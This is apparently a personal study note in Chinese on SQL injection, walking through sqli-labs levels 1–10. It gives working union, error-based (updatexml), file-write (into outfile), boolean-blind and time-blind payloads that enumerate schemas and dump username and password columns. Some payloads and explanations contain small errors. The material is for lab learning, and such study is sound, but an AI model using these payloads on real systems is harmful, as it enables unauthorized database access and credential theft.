SQL注入攻击学习
本文纯属作者自己学习记录,可能会不便于阅读,见谅
SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?
sql注入的步骤 : 字段数->数据库->表->列->值
字段数:
order by 3 猜测列数
order by 3–+ ,order by 3 %23
sql注入中的union联合查询,union select 1,2,3
步骤
判断列数
order by 10
order by 20
order by 15
…判断显示位
url?id=-1 union select 1,2,3,4,5
获取当数据库名称和当前连接数据库的用户
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(schema_name) from information_schema.schemata
列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部显示
select group_concat(table_name) from information_schema.tables where table_schema=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。列出(数据库:test 表:admin )中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
select group_concat(column_name) from information_schema.columns where table_name = xxx
列出(数据库:test 表:admin )中的数据
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network
函数:
Length():函数 返回字符串的长度
Substr():截取字符串
Ascii():返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
**if(expr1,expr2,expr3)😗*判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
sqli-labs 前十关学习——get传参
一、单引号闭合
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
get传参末尾加入'
号,判断是否报错
闭合单引号 方法:
- 注释:xxx/?id=1’# (?id=1’%23)
- xxx/?id=1’ or ‘1’='1
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
闭合方式需要')
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
二、数字注入
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
不需要注释后面语句
/?id=1 and 1=2 union select
/?id=-1 union select
以上两种都可以
三、双引号闭合
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
get传参末尾加入"
号,判断是否报错,可能存在)
符号
四、报错注入
题目没有回显,但有报错回显
构造特殊的语句,将数据显示在报错里,来读取数据
updatexml报错注入
![image-20230222152439323](https://i-blog.csdnimg.cn/blog_migrate/72e7f410dadff5dc3d8b6dd07c74f656.png)
例:updatexml(1,concat(0x7e,(select xxx),0x7e),1)
若每次输出不能完全输出,则可以采用substr函数依次输出
substr函数:
-
SUBSTR(str,pos,len): 从pos开始的位置,截取len个字符
- substr(string ,1,3) :取string左边第1位置起,3字长的字符串。
所以结果为: str - substr(string, -1,3):取string右边第1位置起,3字长的字符串。显然右边第一位置起往右不够3字长。结果只能是: g
- substr(string, -3,3):取string右边第3位置起,3字长的字符串。
结果为: ing
- substr(string ,1,3) :取string左边第1位置起,3字长的字符串。
-
SUBSTR(str,pos): pos开始的位置,一直截取到最后
- substr(string ,4) : 从右第4位置截取到最后
结果是: ing
- substr(string ,4) : 从右第4位置截取到最后
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
双引号闭合后报错注入
五、文件注入
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
select xxx into outfile “D://xxx//xxx.txt”(绝对路径)
格式:保留原有格式
into outfile 只能创建不存在的文件并写入,并不能覆盖已有的文件
select xxx into dumpfile
格式:没有格式,适合二进制文件
六、布尔注入
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
题目只返回正确和错误,并不显示任何信息,页面显示是正确或者错误
通过判断是否正确来猜测数据的值
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
例子:
?id=1’and length((select database()))>9–+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4?id=1’and ascii(substr((select database()),1,1))=115–+
#substr(“78909”,1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。?id=1’and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13–+
判断所有表名字符长度。?id=1’and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99–+
逐一判断表名?id=1’and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))>20–+
判断所有字段名的长度?id=1’and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>99–+
逐一判断字段名。?id=1’ and length((select group_concat(username,password) from users))>109–+
判断字段内容长度?id=1’ and ascii(substr((select group_concat(username,password) from users),1,1))>50–+
逐一检测内容。
七、时间注入
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
题目什么信息都不返回,无回显,无正确错误信息,不管输入什么内容页面显示的都一样
通过时间的长短判断是否正确来猜测数据的值
http://localhost/sqli-labs-master/Less-9/?id=1’ and if(xxxxxx,sleep(5),sleep(1))–+
**if(expr1,expr2,expr3)😗*判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
and if(substr(select database(),1,1)=‘s’,sleep(5),sleep(1))–+
and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+
先判断长度后判断字符